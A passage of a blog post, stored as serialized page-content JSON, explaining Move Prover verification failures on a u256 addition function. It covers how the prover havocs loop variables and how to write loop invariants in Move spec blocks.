`",{"type":23,"tag":141,"props":9055,"children":9056},{"style":184},[9057],{"type":29,"value":7000},{"type":23,"tag":141,"props":9059,"children":9060},{"style":828},[9061],{"type":29,"value":9062},"`",{"type":23,"tag":141,"props":9064,"children":9065},{"style":184},[9066],{"type":29,"value":9067}," clauses\n",{"type":23,"tag":141,"props":9069,"children":9070},{"class":143,"line":218},[9071,9076,9081,9085],{"type":23,"tag":141,"props":9072,"children":9073},{"style":184},[9074],{"type":29,"value":9075},"╭",{"type":23,"tag":141,"props":9077,"children":9078},{"style":828},[9079],{"type":29,"value":9080}," spec",{"type":23,"tag":141,"props":9082,"children":9083},{"style":828},[9084],{"type":29,"value":8259},{"type":23,"tag":141,"props":9086,"children":9087},{"style":828},[9088],{"type":29,"value":1951},{"type":23,"tag":141,"props":9090,"children":9091},{"class":143,"line":227},[9092,9097,9102,9106,9110,9114,9118,9122,9126,9130,9134,9138,9143,9147,9151,9155,9159,9163,9167,9171,9175],{"type":23,"tag":141,"props":9093,"children":9094},{"style":160},[9095],{"type":29,"value":9096},"|",{"type":23,"tag":141,"props":9098,"children":9099},{"style":184},[9100],{"type":29,"value":9101}," aborts_if",{"type":23,"tag":141,"props":9103,"children":9104},{"style":828},[9105],{"type":29,"value":8383},{"type":23,"tag":141,"props":9107,"children":9108},{"style":154},[9109],{"type":29,"value":192},{"type":23,"tag":141,"props":9111,"children":9112},{"style":184},[9113],{"type":29,"value":55},{"type":23,"tag":141,"props":9115,"children":9116},{"style":154},[9117],{"type":29,"value":1748},{"type":23,"tag":141,"props":9119,"children":9120},{"style":828},[9121],{"type":29,"value":3058},{"type":23,"tag":141,"props":9123,"children":9124},{"style":828},[9125],{"type":29,"value":8383},{"type":23,"tag":141,"props":9127,"children":9128},{"style":154},[9129],{"type":29,"value":192},{"type":23,"tag":141,"props":9131,"children":9132},{"style":184},[9133],{"type":29,"value":1883},{"type":23,"tag":141,"props":9135,"children":9136},{"style":154},[9137],{"type":29,"value":1748},{"type":23,"tag":141,"props":9139,"children":9140},{"style":160},[9141],{"type":29,"value":9142},">",{"type":23,"tag":141,"props":9144,"children":9145},{"style":828},[9146],{"type":29,"value":1377},{"type":23,"tag":141,"props":9148,"children":9149},{"style":828},[9150],{"type":29,"value":8339},{"type":23,"tag":141,"props":9152,"children":9153},{"style":449},[9154],{"type":29,"value":8496},{"type":23,"tag":141,"props":9156,"children":9157},{"style":828},[9158],{"type":29,"value":8339},{"type":23,"tag":141,"props":9160,"children":9161},{"style":449},[9162],{"type":29,"value":8496},{"type":23,"tag":141,"props":9164,"children":9165},{"style":828},[9166],{"type":29,"value":8339},{"type":23,"tag":141,"props":9168,"children":9169},{"style":449},[9170],{"type":29,"value":8496},{"type":23,"tag":141,"props":9172,"children":9173},{"style":828},[9174],{"type":29,"value":8339},{"type":23,"tag":141,"props":9176,"children":9177},{"style":154},[9178],{"type":29,"value":1684},{"type":23,"tag":141,"props":9180,"children":9181},{"class":143,"line":241},[9182,9186,9191,9195,9199,9203,9207,9211,9215,9219,9223,9227,9231,9235,9239,9243],{"type":23,"tag":141,"props":9183,"children":9184},{"style":160},[9185],{"type":29,"value":9096},{"type":23,"tag":141,"props":9187,"children":9188},{"style":184},[9189],{"type":29,"value":9190}," ensures",{"type":23,"tag":141,"props":9192,"children":9193},{"style":828},[9194],{"type":29,"value":8383},{"type":23,"tag":141,"props":9196,"children":9197},{"style":154},[9198],{"type":29,"value":192},{"type":23,"tag":141,"props":9200,"children":9201},{"style":184},[9202],{"type":29,"value":7760},{"type":23,"tag":141,"props":9204,"children":9205},{"style":154},[9206],{"type":29,"value":1748},{"type":23,"tag":141,"props":9208,"children":9209},{"style":828},[9210],{"type":29,"value":7251},{"type":23,"tag":141,"props":9212,"children":9213},{"style":828},[9214],{"type":29,"value":8383},{"type":23,"tag":141,"props":9216,"children":9217},{"style":154},[9218],{"type":29,"value":192},{"type":23,"tag":141,"props":9220,"children":9221},{"style":184},[9222],{"type":29,"value":55},{"type":23,"tag":141,"props":9224,"children":9225},{"style":154},[9226],{"type":29,"value":1748},{"type":23,"tag":141,"props":9228,"children":9229},{"style":828},[9230],{"type":29,"value":3058},{"type":23,"tag":141,"props":9232,"children":9233},{"style":828},[9234],{"type":29,"value":8383},{"type":23,"tag":141,"props":9236,"children":9237},{"style":154},[9238],{"type":29,"value":192},{"type":23,"tag":141,"props":9240,"children":9241},{"style":184},[9242],{"type":29,"value":1883},{"type":23,"tag":141,"props":9244,"children":9245},{"style":154},[9246],{"type":29,"value":2496},{"type":23,"tag":141,"props":9248,"children":9249},{"class":143,"line":262},[9250,9254],{"type":23,"tag":141,"props":9251,"children":9252},{"style":160},[9253],{"type":29,"value":9096},{"type":23,"tag":141,"props":9255,"children":9256},{"style":154},[9257],{"type":29,"value":9258}," }\n",{"type":23,"tag":141,"props":9260,"children":9261},{"class":143,"line":271},[9262],{"type":23,"tag":141,"props":9263,"children":9264},{"style":184},[9265],{"type":29,"value":9266},"╰─────^\n",{"type":23,"tag":141,"props":9268,"children":9269},{"class":143,"line":293},[9270],{"type":23,"tag":141,"props":9271,"children":9272},{"emptyLinePlaceholder":15},[9273],{"type":29,"value":719},{"type":23,"tag":141,"props":9275,"children":9276},{"class":143,"line":801},[9277],{"type":23,"tag":141,"props":9278,"children":9279},{"style":154},[9280],{"type":29,"value":8998},{"type":23,"tag":141,"props":9282,"children":9283},{"class":143,"line":810},[9284],{"type":23,"tag":141,"props":9285,"children":9286},{"emptyLinePlaceholder":15},[9287],{"type":29,"value":719},{"type":23,"tag":141,"props":9289,"children":9290},{"class":143,"line":824},[9291,9296,9301],{"type":23,"tag":141,"props":9292,"children":9293},{"style":184},[9294],{"type":29,"value":9295}," at",{"type":23,"tag":141,"props":9297,"children":9298},{"style":828},[9299],{"type":29,"value":9300}," ./sources/u256.move:316:",{"type":23,"tag":141,"props":9302,"children":9303},{"style":828},[9304],{"type":29,"value":9305}," add\n",{"type":23,"tag":141,"props":9307,"children":9308},{"class":143,"line":839},[9309,9314,9319,9324,9328,9333,9337,9342,9347,9352,9357,9362],{"type":23,"tag":141,"props":9310,"children":9311},{"style":184},[9312],{"type":29,"value":9313}," enter",{"type":23,"tag":141,"props":9315,"children":9316},{"style":828},[9317],{"type":29,"value":9318}," loop,",{"type":23,"tag":141,"props":9320,"children":9321},{"style":828},[9322],{"type":29,"value":9323}," variable",{"type":23,"tag":141,"props":9325,"children":9326},{"style":154},[9327],{"type":29,"value":192},{"type":23,"tag":141,"props":9329,"children":9330},{"style":184},[9331],{"type":29,"value":9332},"s",{"type":23,"tag":141,"props":9334,"children":9335},{"style":154},[9336],{"type":29,"value":1748},{"type":23,"tag":141,"props":9338,"children":9339},{"style":828},[9340],{"type":29,"value":9341},"carry,",{"type":23,"tag":141,"props":9343,"children":9344},{"style":828},[9345],{"type":29,"value":9346}," i,",{"type":23,"tag":141,"props":9348,"children":9349},{"style":828},[9350],{"type":29,"value":9351}," ret",{"type":23,"tag":141,"props":9353,"children":9354},{"style":828},[9355],{"type":29,"value":9356}," havocked",{"type":23,"tag":141,"props":9358,"children":9359},{"style":828},[9360],{"type":29,"value":9361}," and",{"type":23,"tag":141,"props":9363,"children":9364},{"style":828},[9365],{"type":29,"value":9366}," reassigned\n",{"type":23,"tag":141,"props":9368,"children":9369},{"class":143,"line":848},[9370,9375,9379],{"type":23,"tag":141,"props":9371,"children":9372},{"style":184},[9373],{"type":29,"value":9374}," carry",{"type":23,"tag":141,"props":9376,"children":9377},{"style":828},[9378],{"type":29,"value":1674},{"type":23,"tag":141,"props":9380,"children":9381},{"style":472},[9382],{"type":29,"value":9383}," 54\n",{"type":23,"tag":141,"props":9385,"children":9386},{"class":143,"line":2304},[9387,9392,9396],{"type":23,"tag":141,"props":9388,"children":9389},{"style":184},[9390],{"type":29,"value":9391}," i",{"type":23,"tag":141,"props":9393,"children":9394},{"style":828},[9395],{"type":29,"value":1674},{"type":23,"tag":141,"props":9397,"children":9398},{"style":472},[9399],{"type":29,"value":9400}," 3792\n",{"type":23,"tag":141,"props":9402,"children":9403},{"class":143,"line":2313},[9404,9409,9413,9418,9422,9427,9432,9436,9441,9446,9450,9455,9460,9464,9469],{"type":23,"tag":141,"props":9405,"children":9406},{"style":184},[9407],{"type":29,"value":9408}," ret",{"type":23,"tag":141,"props":9410,"children":9411},{"style":828},[9412],{"type":29,"value":1674},{"type":23,"tag":141,"props":9414,"children":9415},{"style":828},[9416],{"type":29,"value":9417}," u256.U256{v0",{"type":23,"tag":141,"props":9419,"children":9420},{"style":828},[9421],{"type":29,"value":1674},{"type":23,"tag":141,"props":9423,"children":9424},{"style":828},[9425],{"type":29,"value":9426}," 26418,",{"type":23,"tag":141,"props":9428,"children":9429},{"style":828},[9430],{"type":29,"value":9431}," v1",{"type":23,"tag":141,"props":9433,"children":9434},{"style":828},[9435],{"type":29,"value":1674},{"type":23,"tag":141,"props":9437,"children":9438},{"style":828},[9439],{"type":29,"value":9440}," 27938,",{"type":23,"tag":141,"props":9442,"children":9443},{"style":828},[9444],{"type":29,"value":9445}," v2",{"type":23,"tag":141,"props":9447,"children":9448},{"style":828},[9449],{"type":29,"value":1674},{"type":23,"tag":141,"props":9451,"children":9452},{"style":828},[9453],{"type":29,"value":9454}," 6900,",{"type":23,"tag":141,"props":9456,"children":9457},{"style":828},[9458],{"type":29,"value":9459}," v3",{"type":23,"tag":141,"props":9461,"children":9462},{"style":828},[9463],{"type":29,"value":1674},{"type":23,"tag":141,"props":9465,"children":9466},{"style":472},[9467],{"type":29,"value":9468}," 1999",{"type":23,"tag":141,"props":9470,"children":9471},{"style":828},[9472],{"type":29,"value":2573},{"type":23,"tag":141,"props":9474,"children":9475},{"class":143,"line":2335},[9476,9480,9485],{"type":23,"tag":141,"props":9477,"children":9478},{"style":184},[9479],{"type":29,"value":9295},{"type":23,"tag":141,"props":9481,"children":9482},{"style":828},[9483],{"type":29,"value":9484}," ./sources/u256.move:346:",{"type":23,"tag":141,"props":9486,"children":9487},{"style":828},[9488],{"type":29,"value":9305},{"type":23,"tag":141,"props":9490,"children":9491},{"class":143,"line":2343},[9492],{"type":23,"tag":141,"props":9493,"children":9494},{"style":184},[9495],{"type":29,"value":9496}," ABORTED\n",{"type":23,"tag":141,"props":9498,"children":9499},{"class":143,"line":2352},[9500],{"type":23,"tag":141,"props":9501,"children":9502},{"emptyLinePlaceholder":15},[9503],{"type":29,"value":719},{"type":23,"tag":141,"props":9505,"children":9506},{"class":143,"line":2421},[9507,9512,9517,9521,9526,9531,9536,9540,9545,9549],{"type":23,"tag":141,"props":9508,"children":9509},{"style":184},[9510],{"type":29,"value":9511},"FAILURE",{"type":23,"tag":141,"props":9513,"children":9514},{"style":828},[9515],{"type":29,"value":9516}," proving",{"type":23,"tag":141,"props":9518,"children":9519},{"style":472},[9520],{"type":29,"value":3198},{"type":23,"tag":141,"props":9522,"children":9523},{"style":828},[9524],{"type":29,"value":9525}," modules",{"type":23,"tag":141,"props":9527,"children":9528},{"style":828},[9529],{"type":29,"value":9530}," from",{"type":23,"tag":141,"props":9532,"children":9533},{"style":828},[9534],{"type":29,"value":9535}," package",{"type":23,"tag":141,"props":9537,"children":9538},{"style":828},[9539],{"type":29,"value":9053},{"type":23,"tag":141,"props":9541,"children":9542},{"style":184},[9543],{"type":29,"value":9544},"u256",{"type":23,"tag":141,"props":9546,"children":9547},{"style":828},[9548],{"type":29,"value":9062},{"type":23,"tag":141,"props":9550,"children":9551},{"style":154},[9552],{"type":29,"value":9553}," in 9.143s\n",{"type":23,"tag":141,"props":9555,"children":9556},{"class":143,"line":2429},[9557],{"type":23,"tag":141,"props":9558,"children":9559},{"style":154},[9560],{"type":29,"value":766},{"type":23,"tag":141,"props":9562,"children":9563},{"class":143,"line":2459},[9564,9569,9573],{"type":23,"tag":141,"props":9565,"children":9566},{"style":184},[9567],{"type":29,"value":9568}," \"Error\"",{"type":23,"tag":141,"props":9570,"children":9571},{"style":184},[9572],{"type":29,"value":114},{"type":23,"tag":141,"props":9574,"children":9575},{"style":828},[9576],{"type":29,"value":9577}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":141,"props":9579,"children":9580},{"class":143,"line":2467},[9581],{"type":23,"tag":141,"props":9582,"children":9583},{"style":154},[9584],{"type":29,"value":2573},{"type":23,"tag":32,"props":9586,"children":9587},{},[9588,9590,9595],{"type":29,"value":9589},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":38,"props":9591,"children":9593},{"className":9592},[],[9594],{"type":29,"value":7000},{"type":29,"value":9596}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":32,"props":9598,"children":9599},{},[9600,9602,9608],{"type":29,"value":9601},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":38,"props":9603,"children":9605},{"className":9604},[],[9606],{"type":29,"value":9607},"ret havocked and reassigned",{"type":29,"value":322},{"type":23,"tag":32,"props":9610,"children":9611},{},[9612],{"type":29,"value":9613},"What does this mean?",{"type":23,"tag":32,"props":9615,"children":9616},{},[9617,9619,9626],{"type":29,"value":9618},"By diving into the Move Prover source, we find a ",{"type":23,"tag":55,"props":9620,"children":9623},{"href":9621,"rel":9622},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[59],[9624],{"type":29,"value":9625},"likely suspect",{"type":29,"value":9627},". The prover attempts to prove all loops with induction!",{"type":23,"tag":32,"props":9629,"children":9630},{},[9631],{"type":29,"value":9632},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":116,"props":9634,"children":9635},{},[9636,9641],{"type":23,"tag":120,"props":9637,"children":9638},{},[9639],{"type":29,"value":9640},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":120,"props":9642,"children":9643},{},[9644],{"type":29,"value":9645},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":32,"props":9647,"children":9648},{},[9649,9651,9656,9658,9664,9665,9671,9672,9677,9679,9684],{"type":29,"value":9650},"The loop prover will also ",{"type":23,"tag":3998,"props":9652,"children":9653},{},[9654],{"type":29,"value":9655},"havoc, or assign random values to, all variables written to inside the loop",{"type":29,"value":9657},". Going back to the log message, this implies that the variables ",{"type":23,"tag":38,"props":9659,"children":9661},{"className":9660},[],[9662],{"type":29,"value":9663},"carry",{"type":29,"value":480},{"type":23,"tag":38,"props":9666,"children":9668},{"className":9667},[],[9669],{"type":29,"value":9670},"ret",{"type":29,"value":313},{"type":23,"tag":38,"props":9673,"children":9675},{"className":9674},[],[9676],{"type":29,"value":2404},{"type":29,"value":9678}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":38,"props":9680,"children":9682},{"className":9681},[],[9683],{"type":29,"value":8317},{"type":29,"value":9685}," makes no sense.",{"type":23,"tag":32,"props":9687,"children":9688},{},[9689],{"type":29,"value":9690},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":116,"props":9692,"children":9693},{},[9694,9699,9704,9709,9714,9719],{"type":23,"tag":120,"props":9695,"children":9696},{},[9697],{"type":29,"value":9698},"Assert the loop invariant",{"type":23,"tag":120,"props":9700,"children":9701},{},[9702],{"type":29,"value":9703},"Havoc all modified variables",{"type":23,"tag":120,"props":9705,"children":9706},{},[9707],{"type":29,"value":9708},"Assume the loop invariant",{"type":23,"tag":120,"props":9710,"children":9711},{},[9712],{"type":29,"value":9713},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":120,"props":9715,"children":9716},{},[9717],{"type":29,"value":9718},"Run the loop body",{"type":23,"tag":120,"props":9720,"children":9721},{},[9722],{"type":29,"value":9698},{"type":23,"tag":32,"props":9724,"children":9725},{},[9726],{"type":29,"value":9727},"There are two approaches to dealing with loops.",{"type":23,"tag":32,"props":9729,"children":9730},{},[9731],{"type":29,"value":9732},"The first would be to specify a loop invariant.",{"type":23,"tag":32,"props":9734,"children":9735},{},[9736,9738,9745],{"type":29,"value":9737},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":55,"props":9739,"children":9742},{"href":9740,"rel":9741},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[59],[9743],{"type":29,"value":9744},"previous post",{"type":29,"value":322},{"type":23,"tag":131,"props":9747,"children":9749},{"code":9748,"language":1638,"meta":7,"className":1639,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[9750],{"type":23,"tag":38,"props":9751,"children":9752},{"__ignoreMap":7},[9753,9765,9776,9812,9835,9918,9925,9949,9957,9977,9997,10088,10095,10123],{"type":23,"tag":141,"props":9754,"children":9755},{"class":143,"line":144},[9756,9761],{"type":23,"tag":141,"props":9757,"children":9758},{"style":148},[9759],{"type":29,"value":9760}," while",{"type":23,"tag":141,"props":9762,"children":9763},{"style":154},[9764],{"type":29,"value":7208},{"type":23,"tag":141,"props":9766,"children":9767},{"class":143,"line":180},[9768,9772],{"type":23,"tag":141,"props":9769,"children":9770},{"style":750},[9771],{"type":29,"value":7605},{"type":23,"tag":141,"props":9773,"children":9774},{"style":154},[9775],{"type":29,"value":1951},{"type":23,"tag":141,"props":9777,"children":9778},{"class":143,"line":205},[9779,9784,9788,9792,9796,9800,9804,9808],{"type":23,"tag":141,"props":9780,"children":9781},{"style":750},[9782],{"type":29,"value":9783}," invariant",{"type":23,"tag":141,"props":9785,"children":9786},{"style":184},[9787],{"type":29,"value":7233},{"type":23,"tag":141,"props":9789,"children":9790},{"style":154},[9791],{"type":29,"value":192},{"type":23,"tag":141,"props":9793,"children":9794},{"style":750},[9795],{"type":29,"value":7242},{"type":23,"tag":141,"props":9797,"children":9798},{"style":154},[9799],{"type":29,"value":1748},{"type":23,"tag":141,"props":9801,"children":9802},{"style":160},[9803],{"type":29,"value":7251},{"type":23,"tag":141,"props":9805,"children":9806},{"style":750},[9807],{"type":29,"value":2058},{"type":23,"tag":141,"props":9809,"children":9810},{"style":154},[9811],{"type":29,"value":1684},{"type":23,"tag":141,"props":9813,"children":9814},{"class":143,"line":218},[9815,9819,9823,9827,9831],{"type":23,"tag":141,"props":9816,"children":9817},{"style":750},[9818],{"type":29,"value":9783},{"type":23,"tag":141,"props":9820,"children":9821},{"style":750},[9822],{"type":29,"value":2058},{"type":23,"tag":141,"props":9824,"children":9825},{"style":160},[9826],{"type":29,"value":6872},{"type":23,"tag":141,"props":9828,"children":9829},{"style":750},[9830],{"type":29,"value":7162},{"type":23,"tag":141,"props":9832,"children":9833},{"style":154},[9834],{"type":29,"value":1684},{"type":23,"tag":141,"props":9836,"children":9837},{"class":143,"line":227},[9838,9842,9846,9850,9854,9858,9862,9866,9870,9874,9878,9882,9886,9890,9894,9898,9902,9906,9910,9914],{"type":23,"tag":141,"props":9839,"children":9840},{"style":750},[9841],{"type":29,"value":9783},{"type":23,"tag":141,"props":9843,"children":9844},{"style":750},[9845],{"type":29,"value":7294},{"type":23,"tag":141,"props":9847,"children":9848},{"style":750},[9849],{"type":29,"value":7299},{"type":23,"tag":141,"props":9851,"children":9852},{"style":449},[9853],{"type":29,"value":1702},{"type":23,"tag":141,"props":9855,"children":9856},{"style":472},[9857],{"type":29,"value":1707},{"type":23,"tag":141,"props":9859,"children":9860},{"style":160},[9861],{"type":29,"value":1712},{"type":23,"tag":141,"props":9863,"children":9864},{"style":750},[9865],{"type":29,"value":2404},{"type":23,"tag":141,"props":9867,"children":9868},{"style":160},[9869],{"type":29,"value":114},{"type":23,"tag":141,"props":9871,"children":9872},{"style":750},[9873],{"type":29,"value":7097},{"type":23,"tag":141,"props":9875,"children":9876},{"style":154},[9877],{"type":29,"value":2399},{"type":23,"tag":141,"props":9879,"children":9880},{"style":750},[9881],{"type":29,"value":7332},{"type":23,"tag":141,"props":9883,"children":9884},{"style":154},[9885],{"type":29,"value":7337},{"type":23,"tag":141,"props":9887,"children":9888},{"style":160},[9889],{"type":29,"value":7251},{"type":23,"tag":141,"props":9891,"children":9892},{"style":750},[9893],{"type":29,"value":7346},{"type":23,"tag":141,"props":9895,"children":9896},{"style":154},[9897],{"type":29,"value":2399},{"type":23,"tag":141,"props":9899,"children":9900},{"style":750},[9901],{"type":29,"value":7332},{"type":23,"tag":141,"props":9903,"children":9904},{"style":154},[9905],{"type":29,"value":7337},{"type":23,"tag":141,"props":9907,"children":9908},{"style":160},[9909],{"type":29,"value":197},{"type":23,"tag":141,"props":9911,"children":9912},{"style":750},[9913],{"type":29,"value":7162},{"type":23,"tag":141,"props":9915,"children":9916},{"style":154},[9917],{"type":29,"value":1684},{"type":23,"tag":141,"props":9919,"children":9920},{"class":143,"line":241},[9921],{"type":23,"tag":141,"props":9922,"children":9923},{"style":154},[9924],{"type":29,"value":7597},{"type":23,"tag":141,"props":9926,"children":9927},{"class":143,"line":262},[9928,9933,9937,9941,9945],{"type":23,"tag":141,"props":9929,"children":9930},{"style":154},[9931],{"type":29,"value":9932}," (",{"type":23,"tag":141,"props":9934,"children":9935},{"style":750},[9936],{"type":29,"value":2404},{"type":23,"tag":141,"props":9938,"children":9939},{"style":160},[9940],{"type":29,"value":7395},{"type":23,"tag":141,"props":9942,"children":9943},{"style":750},[9944],{"type":29,"value":7162},{"type":23,"tag":141,"props":9946,"children":9947},{"style":154},[9948],{"type":29,"value":758},{"type":23,"tag":141,"props":9950,"children":9951},{"class":143,"line":271},[9952],{"type":23,"tag":141,"props":9953,"children":9954},{"style":154},[9955],{"type":29,"value":9956}," }) {\n",{"type":23,"tag":141,"props":9958,"children":9959},{"class":143,"line":293},[9960,9965,9969,9973],{"type":23,"tag":141,"props":9961,"children":9962},{"style":154},[9963],{"type":29,"value":9964}," vector",{"type":23,"tag":141,"props":9966,"children":9967},{"style":160},[9968],{"type":29,"value":2141},{"type":23,"tag":141,"props":9970,"children":9971},{"style":184},[9972],{"type":29,"value":7428},{"type":23,"tag":141,"props":9974,"children":9975},{"style":154},[9976],{"type":29,"value":2123},{"type":23,"tag":141,"props":9978,"children":9979},{"class":143,"line":801},[9980,9985,9989,9993],{"type":23,"tag":141,"props":9981,"children":9982},{"style":160},[9983],{"type":29,"value":9984}," &",{"type":23,"tag":141,"props":9986,"children":9987},{"style":449},[9988],{"type":29,"value":2389},{"type":23,"tag":141,"props":9990,"children":9991},{"style":750},[9992],{"type":29,"value":7097},{"type":23,"tag":141,"props":9994,"children":9995},{"style":154},[9996],{"type":29,"value":2168},{"type":23,"tag":141,"props":9998,"children":9999},{"class":143,"line":810},[10000,10004,10008,10012,10016,10020,10024,10028,10032,10036,10040,10044,10048,10052,10056,10060,10064,10068,10072,10076,10080,10084],{"type":23,"tag":141,"props":10001,"children":10002},{"style":154},[10003],{"type":29,"value":7386},{"type":23,"tag":141,"props":10005,"children":10006},{"style":160},[10007],{"type":29,"value":197},{"type":23,"tag":141,"props":10009,"children":10010},{"style":154},[10011],{"type":29,"value":7469},{"type":23,"tag":141,"props":10013,"children":10014},{"style":160},[10015],{"type":29,"value":2141},{"type":23,"tag":141,"props":10017,"children":10018},{"style":184},[10019],{"type":29,"value":7478},{"type":23,"tag":141,"props":10021,"children":10022},{"style":154},[10023],{"type":29,"value":192},{"type":23,"tag":141,"props":10025,"children":10026},{"style":160},[10027],{"type":29,"value":1770},{"type":23,"tag":141,"props":10029,"children":10030},{"style":750},[10031],{"type":29,"value":7042},{"type":23,"tag":141,"props":10033,"children":10034},{"style":154},[10035],{"type":29,"value":7495},{"type":23,"tag":141,"props":10037,"children":10038},{"style":750},[10039],{"type":29,"value":2404},{"type":23,"tag":141,"props":10041,"children":10042},{"style":449},[10043],{"type":29,"value":7504},{"type":23,"tag":141,"props":10045,"children":10046},{"style":725},[10047],{"type":29,"value":4534},{"type":23,"tag":141,"props":10049,"children":10050},{"style":154},[10051],{"type":29,"value":7513},{"type":23,"tag":141,"props":10053,"children":10054},{"style":449},[10055],{"type":29,"value":7518},{"type":23,"tag":141,"props":10057,"children":10058},{"style":725},[10059],{"type":29,"value":7523},{"type":23,"tag":141,"props":10061,"children":10062},{"style":154},[10063],{"type":29,"value":1748},{"type":23,"tag":141,"props":10065,"children":10066},{"style":160},[10067],{"type":29,"value":197},{"type":23,"tag":141,"props":10069,"children":10070},{"style":154},[10071],{"type":29,"value":1220},{"type":23,"tag":141,"props":10073,"children":10074},{"style":750},[10075],{"type":29,"value":7540},{"type":23,"tag":141,"props":10077,"children":10078},{"style":449},[10079],{"type":29,"value":7504},{"type":23,"tag":141,"props":10081,"children":10082},{"style":725},[10083],{"type":29,"value":7523},{"type":23,"tag":141,"props":10085,"children":10086},{"style":154},[10087],{"type":29,"value":758},{"type":23,"tag":141,"props":10089,"children":10090},{"class":143,"line":824},[10091],{"type":23,"tag":141,"props":10092,"children":10093},{"style":154},[10094],{"type":29,"value":5440},{"type":23,"tag":141,"props":10096,"children":10097},{"class":143,"line":839},[10098,10103,10107,10111,10115,10119],{"type":23,"tag":141,"props":10099,"children":10100},{"style":750},[10101],{"type":29,"value":10102}," i",{"type":23,"tag":141,"props":10104,"children":10105},{"style":160},[10106],{"type":29,"value":1674},{"type":23,"tag":141,"props":10108,"children":10109},{"style":750},[10110],{"type":29,"value":2058},{"type":23,"tag":141,"props":10112,"children":10113},{"style":160},[10114],{"type":29,"value":7581},{"type":23,"tag":141,"props":10116,"children":10117},{"style":472},[10118],{"type":29,"value":3198},{"type":23,"tag":141,"props":10120,"children":10121},{"style":154},[10122],{"type":29,"value":1684},{"type":23,"tag":141,"props":10124,"children":10125},{"class":143,"line":848},[10126],{"type":23,"tag":141,"props":10127,"children":10128},{"style":154},[10129],{"type":29,"value":10130}," };\n",{"type":23,"tag":32,"props":10132,"children":10133},{},[10134,10136,10142,10144,10149,10151,10157],{"type":29,"value":10135},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":38,"props":10137,"children":10139},{"className":10138},[],[10140],{"type":29,"value":10141},"while",{"type":29,"value":10143}," loop. Note that because the loop invariant executes ",{"type":23,"tag":47,"props":10145,"children":10146},{},[10147],{"type":29,"value":10148},"after",{"type":29,"value":10150}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":38,"props":10152,"children":10154},{"className":10153},[],[10155],{"type":29,"value":10156},"i \u003C= n_coins",{"type":29,"value":322},{"type":23,"tag":131,"props":10159,"children":10161},{"code":10160,"language":1638,"meta":7,"className":1639,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[10162],{"type":23,"tag":38,"props":10163,"children":10164},{"__ignoreMap":7},[10165,10176,10187,10222,10245,10328,10335,10358],{"type":23,"tag":141,"props":10166,"children":10167},{"class":143,"line":144},[10168,10172],{"type":23,"tag":141,"props":10169,"children":10170},{"style":148},[10171],{"type":29,"value":9760},{"type":23,"tag":141,"props":10173,"children":10174},{"style":154},[10175],{"type":29,"value":7208},{"type":23,"tag":141,"props":10177,"children":10178},{"class":143,"line":180},[10179,10183],{"type":23,"tag":141,"props":10180,"children":10181},{"style":750},[10182],{"type":29,"value":7605},{"type":23,"tag":141,"props":10184,"children":10185},{"style":154},[10186],{"type":29,"value":1951},{"type":23,"tag":141,"props":10188,"children":10189},{"class":143,"line":205},[10190,10194,10198,10202,10206,10210,10214,10218],{"type":23,"tag":141,"props":10191,"children":10192},{"style":750},[10193],{"type":29,"value":9783},{"type":23,"tag":141,"props":10195,"children":10196},{"style":184},[10197],{"type":29,"value":7233},{"type":23,"tag":141,"props":10199,"children":10200},{"style":154},[10201],{"type":29,"value":192},{"type":23,"tag":141,"props":10203,"children":10204},{"style":750},[10205],{"type":29,"value":7242},{"type":23,"tag":141,"props":10207,"children":10208},{"style":154},[10209],{"type":29,"value":1748},{"type":23,"tag":141,"props":10211,"children":10212},{"style":160},[10213],{"type":29,"value":7251},{"type":23,"tag":141,"props":10215,"children":10216},{"style":750},[10217],{"type":29,"value":2058},{"type":23,"tag":141,"props":10219,"children":10220},{"style":154},[10221],{"type":29,"value":1684},{"type":23,"tag":141,"props":10223,"children":10224},{"class":143,"line":218},[10225,10229,10233,10237,10241],{"type":23,"tag":141,"props":10226,"children":10227},{"style":750},[10228],{"type":29,"value":9783},{"type":23,"tag":141,"props":10230,"children":10231},{"style":750},[10232],{"type":29,"value":2058},{"type":23,"tag":141,"props":10234,"children":10235},{"style":160},[10236],{"type":29,"value":6872},{"type":23,"tag":141,"props":10238,"children":10239},{"style":750},[10240],{"type":29,"value":7162},{"type":23,"tag":141,"props":10242,"children":10243},{"style":154},[10244],{"type":29,"value":1684},{"type":23,"tag":141,"props":10246,"children":10247},{"class":143,"line":227},[10248,10252,10256,10260,10264,10268,10272,10276,10280,10284,10288,10292,10296,10300,10304,10308,10312,10316,10320,10324],{"type":23,"tag":141,"props":10249,"children":10250},{"style":750},[10251],{"type":29,"value":9783},{"type":23,"tag":141,"props":10253,"children":10254},{"style":750},[10255],{"type":29,"value":7294},{"type":23,"tag":141,"props":10257,"children":10258},{"style":750},[10259],{"type":29,"value":7299},{"type":23,"tag":141,"props":10261,"children":10262},{"style":449},[10263],{"type":29,"value":1702},{"type":23,"tag":141,"props":10265,"children":10266},{"style":472},[10267],{"type":29,"value":1707},{"type":23,"tag":141,"props":10269,"children":10270},{"style":160},[10271],{"type":29,"value":1712},{"type":23,"tag":141,"props":10273,"ch